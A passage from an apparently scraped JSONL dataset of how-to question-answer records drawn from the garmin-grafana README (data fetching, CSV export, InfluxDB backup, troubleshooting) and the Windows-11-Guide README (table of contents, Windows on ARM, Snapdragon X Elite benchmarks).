`MANUAL_END_DATE` must be in future to the `MANUAL_START_DATE` variable passed, and in case they are same, data is still pulled for that specific date.\n\n> [!TIP]\n> If you are running this more than once to update the old data after container update, and want to only fetch specific data points instead of everything for the bulk fetch (to save time and resources), you can set `FETCH_SELECTION` to the measurements you want to fetch again. You can override the value of compose like this `docker compose run --rm -e MANUAL_START_DATE=YYYY-MM-DD -e MANUAL_END_DATE=YYYY-MM-DD -e FETCH_SELECTION=activity,sleep garmin-fetch-data` if you just want to update/re-fetch the past activities and sleep data and nothing else. Look at the compose file comments to know what values are available for this variable.\n\n1. Please note that the bulk data fetching is done in **reverse chronological order**. So you will have recent data first and it will keep going back until it hits `MANUAL_START_DATE`. You can have this running in background. If this terminates after some time unexpectedly, you can check back the last successful update date from the container stdout logs and use that as the `MANUAL_END_DATE` when running bulk update again as it's done in reverse chronological order.\n2. After successful bulk fetching, you will see a `Bulk update success` message and the container will exit and remove itself automatically.\n3. Now you can run the regular periodic update with `docker compose up -d`\n\n> [!IMPORTANT]\n> Garmin puts **Intraday historic data** older than **six months** in **cold storage (archived database)** and they are not available to the regular API endpoints directly anymore. You can do a manual refresh request for that day from the app, and only then the data becomes available for 7 days before it goes back to cold storage again. There is a daily server-side limit on the refresh requests (estimated around 20-40 per day) - So it's not possible to refresh the data in bulk while importing. if you have used this script to bulk fetch your past data older than 6 months, the intraday data points (indtaday HR rates, intraday sleep stages, etc.) will be missing for the older dates - although the daily average data points remain available the API endpoints for any past dates (regardless of how old they are) and hence remains unaffected. Please check out [Issue #77](https://github.com/arpanghosh8453/garmin-grafana/issues/77) if you want to know more about this. This is not a limitation of this project as it is imposed by Garmin's API design.", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2560, "answer_score": 10, "has_code": false, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962480"}
{"id": "gh_5ae137c79bf1", "question": "How to: Export Data to CSV files", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "This project provides additional utilities to export the data as CSV for external analysis or AI integration. After the export, you can use the CSV files to feed into ChatGPT (If you are not in EU, your data will be used for training) or any locally hosted LLM chat interface with [Openweb-UI](https://github.com/open-webui/open-webui) or [anythingllm](https://anythingllm.com/) (Which natively supports RAG based document ingestion and available as Windows application) to get insights from your long term health data. If you turn on chat history, you may be able to get more insightful recommendations over time.\n\nThere are two ways to export the data into CSV files.\n\n1. Use the native CSV export functionality of Grafana, where you can export the data shown on any Grafana panel using [this guide](https://grafana.com/blog/2024/05/30/how-to-export-any-grafana-visualization-to-a-csv-file-microsoft-excel-or-google-sheets/) as CSV.\n2. If the above method is tedious and you want to grab all measurements in detail as CSV files with one command directly from the local InfluxDB database, a convenient exporter script is provided with this project (included inside the docker container).\n\n   2.1 Simply run the following docker command from your terminal `docker exec garmin-fetch-data uv run /app/garmin_grafana/influxdb_exporter.py` to export the last 30 days data. The script takes additional arguments such as `last-n-days` or `start-date` and `end-date` if you want to export data for last n days or for a specific date range. You should run the command like\n\n   ```\n   docker exec garmin-fetch-data uv run /app/garmin_grafana/influxdb_exporter.py --last-n-days=7\n   ```\n\n   or\n\n   ```\n   docker exec garmin-fetch-data uv run /app/garmin_grafana/influxdb_exporter.py --start-date=2025-01-01 --end-date=2025-03-01\n   ```\n\n   2.2 When the export is finished, you will see an output file path in the format ` Exported N measurement CSVs into /tmp/GarminStats_Export_XYZ.zip`. The zip filename will vary based on when you run the command and how many days you selected. Take note of the full export path name.\n\n   2.3 Now the exported zip is saved inside the container, we need to copy it to our host machine. To do this, run `docker cp garmin-fetch-data:/tmp/GarminStats_Export_XYZ.zip ./` and replace the `/tmp/GarminStats_Export_XYZ.zip` part with your zip filename from the output of the previous command. This command will place the zip file in your current working directory - you can replace the `./` ending of the command with a local path like `~/garmin-grafana/` if you want to place it somewhere specific. Once the copy is complete, you can remove the export zip from the container by running `docker exec garmin-fetch-data rm /tmp/GarminStats_Export_XYZ.zip` to free up some space (optional).\n\n   2.4 Now unzip the zip file you have and you will see all the measurements are available as separate CSV files. You can run your custom analysis with these or ask LLM for insights by directly feeding the CSV file(s)!", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2560, "answer_score": 10, "has_code": true, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962488"}
{"id": "gh_c2f51b55332f", "question": "How to: Backup InfluxDB Database", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "Whether you are using a bind mount or a docker volume, creating a restorable archival backup of your valuable health data is always advised. Assuming you named your database as `GarminStats` and influxdb container name is `influxdb`, you can use the following script to create a static archival backup of your data present in the influxdb database at that time point. These restore points can be used to re-create the influxdb database with the archived data without requesting them from Garmin's servers again, which is not only time consuming but also resource intensive.\n\n```bash\n#!/bin/bash\nTIMESTAMP=$(date +%F_%H-%M)\nBACKUP_DIR=\"./influxdb_backups/$TIMESTAMP\"\nmkdir -p \"$BACKUP_DIR\"\ndocker exec influxdb influxd backup -portable -db GarminStats /tmp/influxdb_backup\ndocker cp influxdb:/tmp/influxdb_backup \"$BACKUP_DIR\"\ndocker exec influxdb rm -r \"/tmp/influxdb_backup\"\n```\n\nThe above bash script would create a folder named `influxdb_backups` inside your current working directory and create a subfolder under it with current date-time. Then it will create the backup for `GarminStats` database and copy the backup files to that location.\n\nFor restoring the data from a backup, you first need to make the files available inside the new influxdb docker container. You can use `docker cp` or volume bind mount for this. Once the backup data is available to the container internally, you can simply run `docker exec influxdb influxd restore -portable -db GarminStats /path/to/internal-backup-directory` to restore the backup.\n\nPlease read detailed guide on this from the [influxDB documentation for backup and restore](https://docs.influxdata.com/influxdb/v1/administration/backup_and_restore/)", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2560, "answer_score": 10, "has_code": true, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962495"}
{"id": "gh_d7ac1ea516e1", "question": "How to: Troubleshooting", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "- The issued session token is apparently [valid only for 1 year](https://github.com/cyberjunky/python-garminconnect/issues/213) or less. Therefore, the automatic fetch will fail after the token expires. If you are using it more than one year, you may need to stop, remove and redeploy the container (follow the same instructions for initial setup, you will be asked for the username and password + 2FA code again). if you are not using MFA/2FA (SMS or email one time code), you can use the `GARMINCONNECT_EMAIL` and `GARMINCONNECT_BASE64_PASSWORD` (remember, this is [base64 encoded](http://base64encode.org/) password, not plaintext) ENV variables in the compose file to give this info directly, so the script will be able to re-generate the tokens once they expire. Unfortunately, if you are using MFA/2FA, you need to enter the one time code manually after rebuilding the container every year when the tokens expire to keep the script running (Once the session token is valid again, the script will automatically back-fill the data you missed)\n- If you are getting `429 Client Error` after a few login tries during the initial setup, this is an indication that you are being rate limited based on your public IP. Garmin has a set limit for repeated login attempts from the same IP address to protect your account. You can wait for a few hours or a day, or switch to a different wifi network outside your home (will give you a new public IP) or just simply use mobile hotspot (will give you a new public IP as well) for the initial login attempt. This should work in theory as [discussed here](https://github.com/matin/garth/discussions/60).\n- Running into `401 Client Error` when trying to login for the first time? make sure you are using the correct username and password for your account. If you enter it at runtime, it should be in plaintext but if you add it with environment variables in the docker compose stack, it must be [Base64 encoded](https://www.base64encode.org/). if you are 100% sure you are using the right credentials, and still get this error, it's probably due to the fact that you are connected to a VPN network which is preventing the log in request (see issue [#20](https://github.com/arpanghosh8453/garmin-grafana/issues/20)). If you are not using a VPN, then please try running the container with mobile hotspot network or with a VPN exit tunnel (both gives you a different public IP) - you need to try this from a different network somehow.\n- If you want to bind mount the docker volumes for the `garmin-fetch-data` container, please keep in mind that the script runs with the internal user `appuser` with uid and gid set as 1000. So please chown the bind mount folder accordingly as stated in the above instructions. Also, `grafana` container requires the bind mount folders to be owned by `472:472` and `influxdb:1.11` container requires the bind mount folders to be owned by `1500:1500`. If none of this solves the `Permission Denied` issue for you, you can change the bind mount folder permission as `777` with `chmod -R 777 garminconnect-tokens`. Another solution could be to add `user: root` in the container configuration to run it as root instead of default `appuser` (this option has security considerations)\n- If the Activities details (GPS, Pace, HR, Altitude) are not appearing on the dashboard, make sure to select an Activity listed on the top left corner of the Dashboard (In the `Activity with GPS` variable dropdown). If you see no values are available there, but in the log you see the activities are being pulled successfully, then it's due to a Grafana Bug. Go to the dashboard variable settings, and please ensure the correct datasource is selected for the variable and the query is set to `SHOW TAG VALUES FROM \"ActivityGPS\" WITH KEY = \"ActivitySelector\" WHERE $timeFilter`. Once you set this properly after the dashboard import, the values should show up correctly in the dropdown and you will be able to select specific Activity and view it's stats on the dashboard.\n- Missing the battery levels data on the dashboard? Check out the section titled `Collecting periodic watch battery levels` to know how to set it up.", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2560, "answer_score": 10, "has_code": false, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962507"}
{"id": "gh_407c2f68b7da", "question": "How to: Dependencies", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "- [python-garminconnect](https://github.com/cyberjunky/python-garminconnect) by [cyberjunky](https://github.com/cyberjunky) : Garmin Web API wrapper\n- [garth](https://github.com/matin/garth) by [matin](https://github.com/matin) : Used for Garmin SSO Authentication", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 2560, "answer_score": 10, "has_code": false, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962512"}
{"id": "gh_d8c5cbf36a29", "question": "How to: Contribution Guideline", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "Please find the contribution guidelines [here](.github/CONTRIBUTING.md)", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 2560, "answer_score": 10, "has_code": false, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962517"}
{"id": "gh_e9c170c31171", "question": "How to: Limitations", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "This project depends on Garmin cloud. This does not directly sync data from your watch. Your data syncs to Garmin cloud first, and then within the set interval, the script periodically fetches the data from the Garmin servers using the locally stored Oauth tokens. Implementing direct sync is quite tricky and it will unpair your current device and overtake the syncing activities. If there is any script or user error, this might cause permanent data loss. As this project do not come with any kind of liability or warranty, it falls on the user using this. If you are looking for direct sync from your watch, this project is not for you. You might look into the [Gadgetbridge project](https://gadgetbridge.org/gadgets/wearables/garmin/), which might be able to accomplish this for you if you are ready to take full responsibility of your data. This direct sync feature is currently not in our roadmap.", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2560, "answer_score": 10, "has_code": false, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962523"}
{"id": "gh_7e6308417436", "question": "How to: Love this project?", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "I'm thrilled that you're using this dashboard. Your interest and engagement mean a lot to me! You can view and analyze more detailed health statistics with this setup than paying a connect+ subscription fee to Garmin.\n\nMaintaining and improving this project takes a significant amount of my free time. Your support helps keep me motivated to add new features and work on similar projects that benefit the community.\n\nIf you find this project helpful, please consider:\n\n⭐ Starring this repository to show your support and spread the news!\n\n☕ [Buying me a coffee](https://ko-fi.com/A0A84F3DP) if you'd like to contribute to its maintenance and future development.\n\n[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/A0A84F3DP)", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2560, "answer_score": 10, "has_code": false, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962530"}
{"id": "gh_88287f3d6cd5", "question": "How to: Need Help?", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "If you're experiencing any issues with running this project or have questions, feel free to [open an issue](https://github.com/arpanghosh8453/garmin-grafana/issues/new/choose) on this repository. I'll do my best to assist you.", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 2560, "answer_score": 10, "has_code": false, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962535"}
{"id": "gh_eae45d2536d2", "question": "How to: Star History", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "[![Star History Chart](https://api.star-history.com/svg?repos=arpanghosh8453/garmin-grafana&type=Date)](https://www.star-history.com/#arpanghosh8453/garmin-grafana&Date)", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 2560, "answer_score": 10, "has_code": false, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962540"}
{"id": "gh_245a733ebe64", "question": "How to: Table of Contents", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "1. [Getting Started](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#getting-started)\n\n      - [Windows 11 Desktop](https://github.com/mikeroyal/Windows-11-Guide#windows-11-desktop)\n      - [Windows 11 on ARM](#windows-on-arm)\n      - [Bypass Windows 11's TPM, CPU and RAM Requirements](https://github.com/mikeroyal/Windows-11-Guide#bypass-Windows-11-requirements)\n      - [Creating a Local Account on Windows 11 Home and Pro](https://github.com/mikeroyal/Windows-11-Guide#Creating-a-Local-Account-on-Windows-11-Home-and-Pro)\n      - [Removing the Windows 11 Watermark for Unsupported Hardware](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#removing-the-windows-11-watermark)\n      - [Optimizing Windows 11](#optimizing-windows-11)\n      - [Ways to Customize Windows 11 Look and Feel](https://github.com/mikeroyal/Windows-11-Guide#Ways-to-Customize-Windows-11-Look-and-Feel)\n      - [Installing drivers for Windows the easy way](https://github.com/mikeroyal/Windows-11-Guide#installing-drivers-for-windows)\n        * [General Drivers](#General-Drivers)    \n      - [Microsoft Office Alternatives](https://github.com/mikeroyal/Windows-11-Guide#microsoft-office-alternatives)\n      - [Replacing OneDrive with Nextcloud](#Replacing-OneDrive-with-Nextcloud)\n      - [Secure & Privacy-focused Web Browsers](https://github.com/mikeroyal/Windows-11-Guide#secure--privacy-focused-web-browsers)\n         * [Privacy & Security Focused Browser extensions](https://github.com/mikeroyal/Windows-11-Guide#privacy--security-focused-browser-extensions)\n         * [Privacy-focused Search Engines](https://github.com/mikeroyal/Windows-11-Guide#privacy-focused-search-engines)\n      - [Systems Management](#systems-management)\n         * [Setting up Active Directory](#setting-up-active-directory)\n      - [Windows Security Hardening](https://github.com/mikeroyal/Windows-11-Guide#windows-security-hardening)\n            - [Encryption Tools](#encryption-tools)\n\t    - [Virtual Private Network (VPN)](#vpn)\n\t    - [SSH](#ssh)\n\t    - [Firewall Filtering](#firewall-filtering)\n        - [Network Packet Filtering with eBPF](#network-packet-filtering-with-ebpf)\n\t    - [Multifactor Authentication (MFA)](#mfa)\n\t    - [Windows Forensic Analysis](#windows-forensic-analysis)\n            - [Disk Image Creation Tools](#disk-image-creation-tools)\n            - [Evidence Collection](#evidence-collection)\n            - [Incident Management](#incident-management)\n            - [Sandboxing/Reversing Tools](#sandboxingreversing-tools)\n      - [File Sync/Transfer](#File-SyncTransfer)\n      - [Storage Disk Health/Data Recovery](https://github.com/mikeroyal/Windows-11-Guide#Storage-Disk-HealthData-Recovery)\n      - [Reset/Restore Windows 11](#resetrestore-windows-11)\n      - [Backups](#Backups)\n      - [Battery Health](https://github.com/mikeroyal/Windows-11-Guide#Battery-Health)\n     \n2. [Getting Software](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#getting-software)\n\n3. [Gaming](#Gaming)\n   - [Gaming Resources for Windows](#Gaming-Resources-for-Windows)\n   - [Gaming on Xbox Game Pass](#gaming-on-xbox-game-pass)\n   - [Manage/Control Fans (CPU, GPU, and motherboard)](#managecontrol-fans)\n   - [Gaming Peripherals](#Gaming-Peripherals)\n     * [Gaming mice, keyboards, and headsets](#RGB-Devices)\n     * [Game Controllers](#Game-controllers)\n   - [Graphics](#Graphics)\n        * [NVIDIA](#NVIDIA)\n        * [AMD](#AMD)\n        * [Intel ARC](#Intel-ARC)\n   - [Setting up DXVK on Windows](#Setting-up-DXVK-on-Windows)\n   - [Improving Game Performance & Load Times](#Improving-Game-Performance--Load-Times)\n        * [DirectStorage](#DirectStorage)\n        * [NVIDIA RTX IO](#NVIDIA-RTX-IO)\n        * [AMD StoreMI](#AMD-StoreMI)\n\t * [Intel® Rapid Storage Technology (Intel® RST)](#Intel-RST)\n   - [Setting up OBS Studio](#Setting-up-OBS-Studio)\n      * [Useful OBS Studio 3rd party Plugins & Themes](#useful-obs-studio-3rd-party-plugins-and-themes)\n   - [Discord](#Discord)\n   - [Twitch](#Twitch)\n   - [Sleep/Suspend Games](#sleepsuspend-games)\n   - [Game Stores & Launchers](#Game-Stores--Launchers)\n     * [Steam](#Steam)\n     * [Heroic Games Launcher](#heroic-games-launcher)\n     * [Playnite](#Playnite)\n     * [Launchbox](#Launchbox)\n     * [Razor Cortex](#Razor-Cortex)\n     * [Epic Games Store](#Epic-games-store)\n     * [Blizzard Battle.net](#Blizzard-Battlenet)\n     * [Origin](#Origin)\n     * [EA Play](#EA-Play)\n     * [Ubisoft Connect](#Ubisoft-Connect)\n     * [Rockstar Games](#Rockstar-Games)\n     * [GOG Galaxy Store](#GOG-Galaxy)\n     * [Itch.io Store](#Itchio-Store)\n     * [FF XIV Launcher](#FFXIV-Launcher)\n   - [Game Streaming](#Game-streaming)\n     * [Cloud Game Streaming](#Cloud-Game-Streaming)\n     * [Local Game Streaming](#Local-Game-Streaming)\n   - [Playing Android Games](#Android-Games)\n      * [Amazon App Store](#Amazon-App-Store)\n      * [BlueStacks](#BlueStacks)\n      * [Google Play games for PC](#Google-Play-Games-for-PC)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521058"}
{"id": "gh_548bd6677c47", "question": "How to: Getting Started", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Getting started with your new Windows 11 PC](https://www.microsoft.com/en-us/windows/windows-11)\n\n[Windows 11 Installation Assistant](https://www.microsoft.com/en-us/software-download/windows11)\n\n[Update to Windows Subsystem for Android™ on Windows 11](https://blogs.windows.com/windows-insider/2022/03/08/update-to-windows-subsystem-for-android-on-windows-11-for-windows-insiders/)\n\n[Getting Started with the DirectX 12 Agility SDK](https://devblogs.microsoft.com/directx/gettingstarted-dx12agility/)\n\n[Microsoft Windows Server](https://www.microsoft.com/en-us/windows-server/) is the operating system that connects on-premises environments with [Azure](https://azure.microsoft.com), adding additional layers of security while helping you modernize your applications and infrastructure.\n\n[Windows as a Service (WaaS)](https://docs.microsoft.com/en-us/windows/deployment/update/waas-overview) is a new development concept, introduced with the release of Windows 11. It simplifies the jobs of IT professionals and maintains a consistent Windows 11 experience for all Windows customers. These improvements primarily focus on maximizing customer involvement in Windows development, simplifying the deployment and servicing of Windows client computers, and leveling out the resources needed to deploy and maintain Windows over time.\n\n[Windows Virtual Desktop](https://azure.microsoft.com/en-us/services/virtual-desktop/) is a service that enables a secure, remote desktop experience from anywhere.\n\n[Windows 365 Cloud PC](https://www.microsoft.com/en-us/windows-365) is a service that provides a secure way to stream your Windows experience including your personalized apps, content, and settings from the Microsoft cloud([Azure](https://azure.microsoft.com/)) to any device with your Windows 365 Cloud PC. Available August 2nd, 2021.\n\n[Microsoft Dynamics 365](https://dynamics.microsoft.com/en-us/) is the essential business solution for busy professionals who need to engage with customers while staying productive at work and on the go. Arrive prepared for every appointment and update notes, tasks, and attachments. Along with relevant service and sales records.\n\n[Microsoft Edge](https://www.microsoft.com/edge) is a cross-platform web browser developed by Microsoft. It is supported on Windows 11, Windows 10, Xbox, Android, iOS, macOS, and as a [preview for Linux](https://www.microsoftedgeinsider.com/en-us/download/?platform=linux).\n\n[Microsoft Azure](https://azure.microsoft.com) is a public cloud computing platform that comes with solutions developed by Microsoft including Infrastructure as a Service (IaaS), Platform as a Service (PaaS), Windows as a Service (WaaS), and Software as a Service (SaaS) that can be used for services such as analytics, virtual computing, storage, networking, and security.\n\n[VMware Horizon Cloud on Microsoft Azure](https://azure.microsoft.com/en-us/services/virtual-desktop/vmware-horizon-cloud/) is a desktop virtualization service available in Azure Marketplace. Simplify your delivery of on-premises and cloud virtual desktops and applications by connecting your instance of Azure to VMware.\n\n[Citrix Virtual Apps and Desktops for Azure](https://azure.microsoft.com/en-us/services/virtual-desktop/citrix-virtual-apps-desktops-for-azure/) is a desktop and app virtualization service available through Azure Marketplace or agreements with Citrix. Use familiar tools to manage on-premises Citrix deployments alongside Windows Virtual Desktop on Azure, supporting cloud modernization while maximizing your existing investment.\n\n[DirectStorage API](https://devblogs.microsoft.com/directx/directstorage-is-coming-to-pc/) is an API in the DirectX family originally designed for the [Velocity Architecture](https://news.xbox.com/en-us/2020/07/14/a-closer-look-at-xbox-velocity-architecture/) to Windows. The DirectX API is architected in a way that takes all this into account and maximizes performance throughout the entire pipeline from NVMe drive all the way to the GPU. It does this in several ways: by reducing per-request NVMe overhead, enabling batched many-at-a-time parallel IO requests which can be efficiently fed to the GPU, and giving games better control over when they get notified of IO request completion instead of having to react to every tiny IO completion. The DirectStorage API will be available on [Windows 11](https://www.microsoft.com/en-us/windows/windows-11) PCs with NVMe SSDs, but will also be support in [Windows 10](https://www.microsoft.com/software-download/windows10) version 1909 and newer.\n\n[WinDirStat(Windows Directory Statistics)](https://windirstat.net/) is a disk usage statistics viewer and cleanup tool for various versions of Microsoft Windows.\n\n[eBPF for Windows](https://github.com/microsoft/ebpf-for-windows) is an eBPF implementation that runs on top of Windows. eBPF is a well-known technology for providing programmability and agility, especially for extending an OS kernel, for use cases such as DoS protection a", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521088"}
{"id": "gh_e21628cebf36", "question": "How to: Windows 11 Desktop", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)\n**Windows 11 Desktop with new Start menu. Source: [Microsoft](https://www.microsoft.com/en-us/windows/windows-11)**\n**By Default the Start menu and icons are centered. Source: [Microsoft](https://www.microsoft.com/en-us/windows/windows-11)**\n**In system settings to change the position of the Start menu back to the Left-side layout. Source: [Microsoft](https://www.microsoft.com/en-us/windows/windows-11)**\n**Windows 11 desktop with the traditional Left-side layout. Source: [Microsoft](https://www.microsoft.com/en-us/windows/windows-11)**\n**Easily snap the layout of your Desktop Apps on Windows 11. Source: [Microsoft](https://www.microsoft.com/en-us/windows/windows-11)**", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521098"}
{"id": "gh_8d2e6594daa1", "question": "How to: Windows on ARM", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "* [Windows Dev Kit 2023 (Project Volterra) | Microsoft Learn](https://learn.microsoft.com/en-us/windows/arm/dev-kit/)\n * [Windows Apps on Arm | Microsoft Developer](https://developer.microsoft.com/en-us/windows/arm/)\n * [Visual Studio on ARM powered devices](https://learn.microsoft.com/en-us/visualstudio/install/visual-studio-on-arm-devices?view=vs-2022)\n * [Windows on Arm documentation | Microsoft Learn](https://learn.microsoft.com/en-us/windows/arm/overview)\n * [Add support Arm devices to your Windows app | Microsoft Learn](https://learn.microsoft.com/en-us/windows/arm/add-arm-support)\n * [Windows Arm-based PCs FAQ - Microsoft Support](https://support.microsoft.com/en-us/windows/windows-arm-based-pcs-faq-477f51df-2e3b-f68f-31b0-06f5e4f8ebb5)\n * [Update app architecture from ARM32 to ARM64 | Microsoft Learn](https://learn.microsoft.com/en-us/windows/arm/arm32-to-arm64)\n * [Add support Arm devices to your Windows app | Microsoft Learn](https://learn.microsoft.com/en-us/windows/arm/add-arm-support)\n * [Best native apps for Windows on ARM in 2023](https://www.xda-developers.com/windows-arm-apps/)\n * [List of Windows ARM games | PCGamingWiki](https://www.pcgamingwiki.com/wiki/List_of_Windows_ARM_games)\n * [Xbox Cloud Gaming is available on Windows PCs running ARM64 on newer Surface devices(2022 or later) and upcoming devices with the Snapdragon X Elite chip.](https://www.xbox.com/play)\n \n[ARM64EC (“Emulation Compatible”)](https://docs.microsoft.com/en-us/windows/uwp/porting/arm64ec) is an application binary interface (ABI) for Windows 11 on ARM that runs with native speed and is interoperable with x64 architecture. An app, process, or even a module can freely mix and match with ARM64EC and x64 as needed. The ARM64EC code in the app will run natively while any x64 code will run using Windows 11 on ARM’s built-in emulation. The ARM64EC ABI differs slightly from the current [ARM64 ABI](https://docs.microsoft.com/en-us/cpp/build/arm64-windows-abi-conventions?view=msvc-160) in ways that make it binary compatible with x64 code. Specifically, the ARM64EC ABI follows x64 software conventions including calling convention, stack usage, and data alignment, making ARM64EC and x64 interoperable. Apps built as ARM64EC may contain x64 code but do not have to, since ARM64EC is its own complete, first-class ABI for Windows.\n \n \n**NOTE:** Qualcomm's Snapdragon X Elite chip will be available in mobile devices starting Mid-2024.\n\n[Snapdragon X Elite](https://www.qualcomm.com/news/releases/2023/10/qualcomm-unleashes-snapdragon-x-elite--the-ai-super-charged-plat) is its all-new custom CPU architecture, codenamed Oryon. The X Elite includes a total of **12 Oryon cores**, rather than a mix of large and small cores like Qualcomm has used in past designs. When all cores are active, they can run at peak speeds of up to **3.8 GHz**, though when just one or two cores are boosting they can go up to **4.3 GHz**.\n \n * Qualcomm says that the X Elite's Adreno GPU has upgradeable drivers, which means new capabilities can be added over time. it will support a **4K 120 Hz laptop display**, plus a total of **three 4K external displays (or two 5K external displays)**. The GPU supports the DirectX 12 graphics API—no Vulkan support, at least not yet—and Qualcomm says it will feature **upgradeable drivers**. Qualcomm compared the X Elite's GPU performance to both [Intel's Iris Xe](https://www.intel.com/content/www/us/en/products/details/discrete-gpus/iris-xe.html) and [AMD's Radeon 780M](https://www.amd.com/en/products/apu/amd-ryzen-7-7840u). The Adreno GPU is reportedly up to 2x as fast as the Iris Xe and up to 80% faster than the Radeon 780M, while using about one-fifth as much power.\n \n * The chip also includes respectable media encoding and decoding capabilities, with support for **hardware-accelerated H.264, H.265/HEVC, and AV1 video encoding and decoding**, plus hardware-accelerated decoding support for the **VP9 codec**.\n \n * The X Elite can use up to **64GB of LPDDR5x RAM** with up to **136 GB/s of memory bandwidth** to the chip. The image signal processor (ISP) supports up to 64 MP cameras and 4K HDR video capture. The chip supports **PCIe 4.0 NVMe SSDs and the UFS 4.0 and SD 3.0 storage standards**, as well as up to **three USB 4 ports (plus two more 10 Gbps USB 3.2 gen 2 ports)**.\nImage credit: Qualcomm\nImage credit: Qualcomm\nImage credit: Qualcomm\nImage credit: Qualcomm\n<", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521118"}
{"id": "gh_96d9f0f3d6a4", "question": "How to: Snapdragon X Elite Benchmarks", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "|Geekbench 6 |(multi-core) scores|\n|-------------|-----------------|\n|Snapdragon X Elite (Config A)|\t15,130|\n|Snapdragon X Elite (Config B)|\t14,000|\n|Apple M2|\t8,911|\n|Apple M2 Pro|\t14,965|\n|Apple M2 Max|\t14,939|\n|Intel Core i7-13000H|\t12,171|\n\n|3DMark |  Wild Life Extreme Unlimited |\n|-------------|-----------------|\n|Snapdragon X Elite|\t44.5 fps (Config A) | 39 fps (Config B)|\n|MacBook Pro 14-inch M2 Pro|\t73 fps|\n|MacBook Pro 14-inch M2 Max|\t80 fps|\n|MacBook Pro 13-inch M2 |\t40.5 fps|", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521125"}
